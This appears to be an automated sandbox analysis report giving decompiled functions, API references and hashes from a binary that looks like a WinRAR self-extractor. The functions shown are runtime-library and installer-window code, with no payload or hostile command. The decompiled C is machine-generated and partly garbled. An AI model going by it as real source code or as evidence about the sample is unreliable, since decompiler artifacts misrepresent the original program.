___except_validate_context_record.LIBVCRUNTIME ref: 00CE391F
_ValidateLocalCookies.LIBCMT ref: 00CE39A8
__IsNonwritableInCurrentImage.LIBCMT ref: 00CE39D3
_ValidateLocalCookies.LIBCMT ref: 00CE3A28

Strings

csm, xrefs: 00CE39BD

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: baceb3e0a17b477437b9b44fdcb13cffc947af5e40e1d6255fd9d571453b6726
Instruction ID: c92fd285c5adb511cfb2d33eadaf40670411e49ae4682b376a1cdcd0526e9869
Opcode Fuzzy Hash: baceb3e0a17b477437b9b44fdcb13cffc947af5e40e1d6255fd9d571453b6726
Instruction Fuzzy Hash: DE41DA349002C8AFCF10DF6AD889BAEBBB5EF45324F148165E8159B392C771AB05DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00CDAEC5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E00CDAEC5(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, struct HWND__* _a8, intOrPtr _a12, intOrPtr _a16, char _a20) {
				struct tagRECT _v16;
				intOrPtr _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t41;
				struct HWND__* _t45;
				intOrPtr* _t53;
				void* _t61;
				WCHAR* _t68;
				struct HWND__* _t69;

				_t69 = _a8;
				_t53 = __ecx;
				 *(__ecx + 8) = _t69;
				 *((char*)(__ecx + 0x2a)) = _a20;
				ShowWindow(_t69, 0);
				E00CDABF4(_t53, _a4);
				if( *((intOrPtr*)(_t53 + 0x20)) != 0) {
					L00CE5069( *((intOrPtr*)(_t53 + 0x20)));
				}
				if(_a12 != 0) {
					_push(_a12);
					_t34 = E00CE8868(_t53, _t61);
				} else {
					_t34 = 0;
				}
				 *((intOrPtr*)(_t53 + 0x20)) = _t34;
				if(_a16 != 0) {
					_push(_a16);
					_t35 = E00CE8868(_t53, _t61);
				} else {
					_t35 = 0;
				}
				 *((intOrPtr*)(_t53 + 0x24)) = _t35;
				GetWindowRect(_t69,  &_v16);
				 *0xd25108(0,  *0xd25154(_t69,  &_v16, 2));
				if( *(_t53 + 4) != 0) {
					 *0xd25110( *(_t53 + 4));
				}
				_t41 = _v36;
				_t45 =  *0xd25118(0, L"RarHtmlClassName", 0, 0x40000000, _t41 + 1, _v36, _v28 - _t41 - 2, _v28 - _v36,  *0xd25154(_t69, 0,  *_t53, _t53, _t61));
				 *(_t53 + 4) = _t45;
				if( *((char*)(_t53 + 0x1c)) != 0 ||  *((intOrPtr*)(_t53 + 0x10)) != 0) {
					__eflags = _t45;
					if(_t45 != 0) {
						ShowWindow(_t45, 5);
						return  *0xd2510c( *(_t53 + 4));
					}
				} else {
					if(_t69 != 0 &&  *((intOrPtr*)(_t53 + 0x24)) == 0) {
						_t80 =  *((intOrPtr*)(_t53 + 0x20));
						if( *((intOrPtr*)(_t53 + 0x20)) != 0) {
							_t45 = E00CDACEE(_t80,  *((intOrPtr*)(_t53 + 0x20)));
							_t68 = _t45;
							if(_t68 != 0) {
								ShowWindow(_t69, 5);
								SetWindowTextW(_t69, _t68);
								return L00CE5069(_t68);
							}
						}
					}
				}
				return _t45;
			}

0x00cdaece
0x00cdaed2
0x00cdaed8
0x00cdaedb
0x00cdaede
0x00cdaeea
0x00cdaef3
0x00cdaef8
0x00cdaefd
0x00cdaf03
0x00cdaf09
0x00cdaf0d
0x00cdaf05
0x00cdaf05
0x00cdaf05
0x00cdaf18
0x00cdaf1b
0x00cdaf21
0x00cdaf25
0x00cdaf1d
0x00cdaf1d
0x00cdaf1d
0x00cdaf2b
0x00cdaf34
0x00cdaf4b
0x00cdaf55
0x00cdaf5a
0x00cdaf5a
0x00cdaf60
0x00cdaf9b
0x00cdafa5
0x00cdafa9
0x00cdafe8
0x00cdafea
0x00cdafef
0x00000000
0x00cdaff8
0x00cdafb0
0x00cdafb2
0x00cdafb9
0x00cdafbc
0x00cdafc3
0x00cdafc8
0x00cdafcc
0x00cdafd1
0x00cdafd9
0x00000000
0x00cdafe5
0x00cdafcc
0x00cdafbc
0x00cdafb2
0x00cdb004

APIs

ShowWindow.USER32(?,00000000), ref: 00CDAEDE
GetWindowRect.USER32(?,?), ref: 00CDAF34
ShowWindow.USER32(?,00000005,00000000), ref: 00CDAFD1
SetWindowTextW.USER32(?,00000000), ref: 00CDAFD9
ShowWindow.USER32(00000000,00000005), ref: 00CDAFEF

Strings

RarHtmlClassName, xrefs: 00CDAF95

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: c2101520a95fc0f183878922768006645359be179ffeebdd9a47a4e24e91770f
Instruction ID: 4c2478326f74f7e71570e83e72ef7c6c73509a0bb1a317901e285a12632efc9d
Opcode Fuzzy Hash: c2101520a95fc0f183878922768006645359be179ffeebdd9a47a4e24e91770f
Instruction Fuzzy Hash: 5041F571004304FFCB225FA0EC48F6B7BA8EF48710F14459AFE59A929ADB30D955CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00CDA945 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00CDA945(void* __edx, void* __eflags) {
				void* __ecx;
				signed int _t25;
				void* _t29;
				signed int _t30;
				intOrPtr _t31;
				void* _t35;
				signed int _t38;
				signed int _t45;
				void* _t51;
				signed short* _t52;
				void* _t53;
				signed short* _t55;
				signed short* _t57;
				signed short* _t58;
				void* _t59;
				void* _t60;

				_t57 =  *(_t59 + 0x10);
				_push(0x200 + E00CE4DF3(_t57) * 0xc);
				_t52 = E00CE73B6(0x200 + E00CE4DF3(_t57) * 0xc);
				 *(_t59 + 0x10) = _t52;
				if(_t52 != 0) {
					E00CE7296(_t52, L"<style>body{font-family:\"Arial\";font-size:12;}</style>");
					_t38 = E00CE4DF3(_t52);
					_t60 = _t59 + 0xc;
					_t25 =  *_t57 & 0x0000ffff;
					_t55 = _t57;
					if(_t25 == 0) {
						L19:
						_t52[_t38] = 0;
						L00CE5069(_t57);
						return _t52;
					}
					_t45 = _t25;
					 *((intOrPtr*)(_t60 + 0x18)) = 0x20;
					_t29 = 0xd;
					_t51 = 0xa;
					do {
						if(_t45 != _t29 || _t55[1] != _t51 || _t55[2] != _t29 || _t55[3] != _t51) {
							if(_t55 <= _t57) {
								L17:
								_t52[_t38] = _t45;
								_t38 = _t38 + 1;
								goto L18;
							}
							_t31 =  *((intOrPtr*)(_t60 + 0x14));
							if(_t45 != _t31 ||  *((intOrPtr*)(_t55 - 2)) != _t31) {
								goto L17;
							} else {
								E00CE7296( &(_t52[_t38]), L"&nbsp;");
								_t38 = _t38 + 6;
								goto L16;
							}
						} else {
							_t58 =  &(_t52[_t38]);
							_t53 = 0xa;
							while(_t55[3] == _t53) {
								E00CE7296(_t58, L"<br>");
								_t55 =  &(_t55[2]);
								_t38 = _t38 + 4;
								_t35 = 0xd;
								_t58 =  &(_t58[4]);
								if(_t55[2] == _t35) {
									continue;
								}
								break;
							}
							_t52 =  *(_t60 + 0x10);
							_t55 =  &(_t55[1]);
							_t57 =  *(_t60 + 0x1c);
							L16:
							_t51 = 0xa;
						}
						L18:
						_t55 =  &(_t55[1]);
						_t30 =  *_t55 & 0x0000ffff;
						_t45 = _t30;
						_t29 = 0xd;
					} while (_t30 != 0);
					goto L19;
				}
				return _t57;
			}

0x00cda948
0x00cda95c
0x00cda962
0x00cda964
0x00cda96c
0x00cda97d
0x00cda988
0x00cda98a
0x00cda98d
0x00cda991
0x00cda996
0x00cdaa3f
0x00cdaa42
0x00cdaa46
0x00000000
0x00cdaa4f
0x00cda99e
0x00cda9a0
0x00cda9a8
0x00cda9ab
0x00cda9ac
0x00cda9af
0x00cda9fd
0x00cdaa26
0x00cdaa26
0x00cdaa2a
0x00000000
0x00cdaa2a
0x00cda9ff
0x00cdaa06
0x00000000
0x00cdaa0e
0x00cdaa17
0x00cdaa1e
0x00000000
0x00cdaa1e
0x00cda9c3
0x00cda9c5
0x00cda9c8
0x00cda9c9
0x00cda9d5
0x00cda9dc
0x00cda9df
0x00cda9e4
0x00cda9e5
0x00cda9ec
0x00000000
0x00000000
0x00000000
0x00cda9ec
0x00cda9ee
0x00cda9f2
0x00cda9f5
0x00cdaa21
0x00cdaa23
0x00cdaa23
0x00cdaa2b
0x00cdaa2b
0x00cdaa30
0x00cdaa33
0x00cdaa38
0x00cdaa38
0x00000000
0x00cda9ac
0x00000000

APIs

_wcslen.LIBCMT ref: 00CDA94E
_wcslen.LIBCMT ref: 00CDA983

Strings

<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00CDA977
, xrefs: 00CDA9A0
 , xrefs: 00CDAA11
<br>, xrefs: 00CDA9CF

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: bae9e00b7290ce3219ffc4d93f446f6a585e6f2f5073b0cb253ae9d14649381a
Instruction ID: e5a43a37b89972425e783f37a58bdd818b5cc6ddce6b535ce6dd44e5c8e6e24c
Opcode Fuzzy Hash: bae9e00b7290ce3219ffc4d93f446f6a585e6f2f5073b0cb253ae9d14649381a
Instruction Fuzzy Hash: 39317D22644745AAD634AF559C42B7B73E4EB50720F21452FFBA5573C0FA60AE8093A3

Uniqueness

Uniqueness Score: -1.00%

Function 00CED8B4 Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00CED8B4(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E00CED878(_t45, 7);
					E00CED878(_t45 + 0x1c, 7);
					E00CED878(_t45 + 0x38, 0xc);
					E00CED878(_t45 + 0x68, 0xc);
					E00CED878(_t45 + 0x98, 2);
					E00CEA4BA( *((intOrPtr*)(_t45 + 0xa0)));
					E00CEA4BA( *((intOrPtr*)(_t45 + 0xa4)));
					E00CEA4BA( *((intOrPtr*)(_t45 + 0xa8)));
					E00CED878(_t45 + 0xb4, 7);
					E00CED878(_t45 + 0xd0, 7);
					E00CED878(_t45 + 0xec, 0xc);
					E00CED878(_t45 + 0x11c, 0xc);
					E00CED878(_t45 + 0x14c, 2);
					E00CEA4BA( *((intOrPtr*)(_t45 + 0x154)));
					E00CEA4BA( *((intOrPtr*)(_t45 + 0x158)));
					E00CEA4BA( *((intOrPtr*)(_t45 + 0x15c)));
					return E00CEA4BA( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x00ced8ba
0x00ced8bf
0x00ced8c8
0x00ced8d3
0x00ced8de
0x00ced8e9
0x00ced8f7
0x00ced902
0x00ced90d
0x00ced918
0x00ced926
0x00ced934
0x00ced945
0x00ced953
0x00ced961
0x00ced96c
0x00ced977
0x00ced982
0x00000000
0x00ced992
0x00ced997

APIs

Part of subcall function 00CED878: _free.LIBCMT ref: 00CED8A1

_free.LIBCMT ref: 00CED902

Part of subcall function 00CEA4BA: RtlFreeHeap.NTDLL(00000000,00000000,?,00CED8A6,?,00000000,?,00000000,?,00CED8CD,?,00000007,?,?,00CEDCCA,?), ref: 00CEA4D0
Part of subcall function 00CEA4BA: GetLastError.KERNEL32(?,?,00CED8A6,?,00000000,?,00000000,?,00CED8CD,?,00000007,?,?,00CEDCCA,?,?), ref: 00CEA4E2

_free.LIBCMT ref: 00CED90D
_free.LIBCMT ref: 00CED918
_free.LIBCMT ref: 00CED96C
_free.LIBCMT ref: 00CED977
_free.LIBCMT ref: 00CED982
_free.LIBCMT ref: 00CED98D

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ed90a822092467ab948ce4ab8a4e5ff1fef504289117e408d2aed02f462530fb
Instruction ID: 1e29f5752f789beb38947c7e9bc2e45f809f969869d73c116002a38424a79715
Opcode Fuzzy Hash: ed90a822092467ab948ce4ab8a4e5ff1fef504289117e408d2aed02f462530fb
Instruction Fuzzy Hash: F31127B1940B44BAE530B772CC0BFC777EDAF05700F404C25B69BAA0D2D675F505A691

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF5C8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E00CDF5C8() {
				intOrPtr _t3;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t10;
				struct HINSTANCE__* _t15;

				_t3 =  *0xd23d10;
				if(_t3 == 1) {
					L11:
					return 0;
				}
				if(_t3 != 0) {
					return 1;
				}
				_t15 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t15 != 0) {
					_t7 = GetProcAddress(_t15, "AcquireSRWLockExclusive");
					if(_t7 == 0) {
						goto L3;
					}
					 *0xd23d14 = _t7;
					_t10 = GetProcAddress(_t15, "ReleaseSRWLockExclusive");
					if(_t10 == 0) {
						goto L3;
					}
					 *0xd23d18 = _t10;
					L7:
					asm("lock cmpxchg [edx], ecx");
					if(0 != 0 || _t15 != 1) {
						return 0xbadbad;
					} else {
						goto L11;
					}
				}
				L3:
				_t15 = 1;
				goto L7;
			}

0x00cdf5c8
0x00cdf5d4
0x00cdf639
0x00000000
0x00cdf639
0x00cdf5d8
0x00000000
0x00cdf635
0x00cdf5e5
0x00cdf5e9
0x00cdf5f5
0x00cdf5fd
0x00000000
0x00000000
0x00cdf605
0x00cdf60a
0x00cdf612
0x00000000
0x00000000
0x00cdf614
0x00cdf619
0x00cdf622
0x00cdf628
0x00000000
0x00000000
0x00000000
0x00000000
0x00cdf628
0x00cdf5eb
0x00cdf5eb
0x00000000

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00CDF643,00CDF5A6,00CDF847), ref: 00CDF5DF
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00CDF5F5
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00CDF60A

Strings

KERNEL32.DLL, xrefs: 00CDF5DA
ReleaseSRWLockExclusive, xrefs: 00CDF5FF
AcquireSRWLockExclusive, xrefs: 00CDF5EF

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 92c353b9dd4f5cace49b67d09d0adb552f539bdd827289751c94be0c5d2e3d69
Instruction ID: 446d14eef8c37174e49e4e36b2f92629f03f117f4c3dff934aa0f6e168e16b71
Opcode Fuzzy Hash: 92c353b9dd4f5cace49b67d09d0adb552f539bdd827289751c94be0c5d2e3d69
Instruction Fuzzy Hash: 4EF0AF717456225B4B315E746D8167B32D8AA11719328043FF757D3B60EAA4CE838AE1

Uniqueness

Uniqueness Score: -1.00%

Function 00CD2769 Relevance: 9.1, APIs: 6, Instructions: 98
timeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00CD2769(signed int* __ecx, void* __edx, intOrPtr* _a4) {
				char _v16;
				struct _SYSTEMTIME _v32;
				struct _SYSTEMTIME _v48;
				struct _FILETIME _v64;
				struct _FILETIME _v72;
				intOrPtr _v76;
				struct _FILETIME _v84;
				signed int _t56;
				signed int _t70;
				signed int _t72;
				signed int _t77;
				signed int _t85;
				intOrPtr* _t89;
				signed int _t90;
				signed int _t92;
				signed int* _t93;

				_t89 = _a4;
				_t93 = __ecx;
				_v48.wYear =  *_t89;
				_v48.wMonth =  *((intOrPtr*)(_t89 + 4));
				_v48.wDay =  *((intOrPtr*)(_t89 + 8));
				_v48.wHour =  *((intOrPtr*)(_t89 + 0xc));
				_v48.wMinute =  *((intOrPtr*)(_t89 + 0x10));
				_v48.wSecond =  *((intOrPtr*)(_t89 + 0x14));
				_v48.wMilliseconds = 0;
				_v48.wDayOfWeek.wYear = 0;
				if(SystemTimeToFileTime( &_v48,  &_v64) == 0) {
					_t90 = 0;
					_t77 = 0;
				} else {
					if(E00CCC5F9() >= 0x600) {
						FileTimeToSystemTime( &_v64,  &_v32);
						__imp__TzSpecificLocalTimeToSystemTime(0,  &_v32,  &_v16);
						SystemTimeToFileTime( &(_v32.wDayOfWeek),  &_v84);
						SystemTimeToFileTime( &(_v48.wDayOfWeek),  &(_v72.dwHighDateTime));
						_t70 = _v84.dwHighDateTime + _v72.dwLowDateTime;
						asm("sbb eax, [esp+0x24]");
						asm("sbb eax, esi");
						asm("adc eax, esi");
						_t85 = 0 - _v72.dwHighDateTime.dwLowDateTime + _v84.dwLowDateTime + _v76;
						asm("adc eax, esi");
					} else {
						LocalFileTimeToFileTime( &_v64,  &_v72);
						_t70 = _v72.dwHighDateTime.dwLowDateTime;
						_t85 = _v72.dwLowDateTime;
					}
					_t92 = 0x64;
					_t72 = _t85;
					_t77 = _t70 * _t92 + (_t72 * _t92 >> 0x20);
					_t90 = _t72 * _t92;
				}
				 *_t93 = _t90;
				_a4 = _t77;
				_t56 =  *((intOrPtr*)(_t89 + 0x18)) + _t90;
				asm("adc ecx, ebx");
				 *_t93 = _t56;
				_a4 = 0;
				return _t56;
			}

0x00cd2770
0x00cd2774
0x00cd2779
0x00cd2782
0x00cd278b
0x00cd2794
0x00cd279d
0x00cd27a6
0x00cd27ad
0x00cd27b2
0x00cd27c9
0x00cd286b
0x00cd286d
0x00cd27cf
0x00cd27d9
0x00cd27ff
0x00cd2812
0x00cd2822
0x00cd2832
0x00cd283e
0x00cd2844
0x00cd284c
0x00cd2852
0x00cd2854
0x00cd2858
0x00cd27db
0x00cd27e5
0x00cd27eb
0x00cd27ef
0x00cd27ef
0x00cd285c
0x00cd2861
0x00cd2865
0x00cd2867
0x00cd2867
0x00cd286f
0x00cd2874
0x00cd287a
0x00cd287d
0x00cd287f
0x00cd2883
0x00cd288b

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00CD27C1

Part of subcall function 00CCC5F9: GetVersionExW.KERNEL32(?), ref: 00CCC61E

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00CD27E5
FileTimeToSystemTime.KERNEL32(?,?), ref: 00CD27FF
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00CD2812
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CD2822
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CD2832

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 67279e992f0a19fb273ab55ca1aeae066122c66834a7433fb05b9f6f3d49b574
Instruction ID: 3f41c2cf09e75725ee2a6746c06af494a6ce8e26427dda76e33ada1746d5a5fd
Opcode Fuzzy Hash: 67279e992f0a19fb273ab55ca1aeae066122c66834a7433fb05b9f6f3d49b574
Instruction Fuzzy Hash: 7D31F876108315ABC704DFA9D884A9FB7E8FF98714F008A1EF999C3210E730D549CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00CE3ADA Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 79%

			E00CE3ADA(void* __ecx, void* __edx) {
				void* _t4;
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t16;
				void* _t18;
				void* _t24;
				long _t25;
				void* _t28;

				_t13 = __ecx;
				if( *0xd007d0 != 0xffffffff) {
					_t25 = GetLastError();
					_t11 = E00CE4CB3(_t13,  *0xd007d0);
					_t14 = _t24;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						if(_t11 == 0) {
							_t4 = E00CE4CEE(_t14,  *0xd007d0, 0xffffffff);
							_pop(_t16);
							if(_t4 != 0) {
								_push(0x28);
								_t28 = E00CE9FE1(_t16);
								_t18 = 1;
								if(_t28 == 0) {
									L8:
									_t11 = 0;
									E00CE4CEE(_t18,  *0xd007d0, 0);
								} else {
									_t8 = E00CE4CEE(_t18,  *0xd007d0, _t28);
									_pop(_t18);
									if(_t8 != 0) {
										_t11 = _t28;
										_t28 = 0;
									} else {
										goto L8;
									}
								}
								L00CE5069(_t28);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t25);
					return _t11;
				} else {
					return 0;
				}
			}

0x00ce3ada
0x00ce3ae1
0x00ce3af4
0x00ce3afb
0x00ce3afd
0x00ce3b01
0x00ce3b1a
0x00ce3b1a
0x00ce3b03
0x00ce3b05
0x00ce3b0f
0x00ce3b15
0x00ce3b18
0x00ce3b1f
0x00ce3b28
0x00ce3b2b
0x00ce3b2e
0x00ce3b42
0x00ce3b42
0x00ce3b4b
0x00ce3b30
0x00ce3b37
0x00ce3b3d
0x00ce3b40
0x00ce3b54
0x00ce3b56
0x00000000
0x00000000
0x00000000
0x00ce3b40
0x00ce3b59
0x00000000
0x00000000
0x00000000
0x00ce3b18
0x00ce3b05
0x00ce3b61
0x00ce3b6b
0x00ce3ae3
0x00ce3ae5
0x00ce3ae5

APIs

GetLastError.KERNEL32(?,?,00CE3AD1,00CE388C,00CE0A44), ref: 00CE3AE8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00CE3AF6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00CE3B0F
SetLastError.KERNEL32(00000000,00CE3AD1,00CE388C,00CE0A44), ref: 00CE3B61

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ad6284565d9fe49ccccbe9c9a173d0456fee58e0fc03982220e08ffb64a6896f
Instruction ID: a308fa90c2fa71b463d166acf9d258620af6ae8eaa53cc8a18b800d601c5270c
Opcode Fuzzy Hash: ad6284565d9fe49ccccbe9c9a173d0456fee58e0fc03982220e08ffb64a6896f
Instruction Fuzzy Hash: 1301B136B0D3D16FE72826BB7C89B2A2A54EB41774F30022AF125D71E1EF516E04A5D4

Uniqueness

Uniqueness Score: -1.00%

Function 00CEA365 Relevance: 9.0, APIs: 6, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 69%

			E00CEA365(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t10;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t30;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_push(_t30);
				_t36 = GetLastError();
				_t2 =  *0xd007f4; // 0x6
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E00CEC146(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E00CEBEC1(_t20, _t25, _t31, __eflags,  *0xd007f4, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E00CEA1D0(_t25, _t31, 0xd242bc);
							E00CEA4BA(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E00CEA4BA();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E00CE9F44(_t20, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0xd007f4; // 0x6
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t10 = E00CEC146(_t25, 1, 0x364); // executed
							_t32 = _t10;
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E00CEBEC1(_t21, _t27, _t32, __eflags,  *0xd007f4, _t32);
								__eflags = _t11;
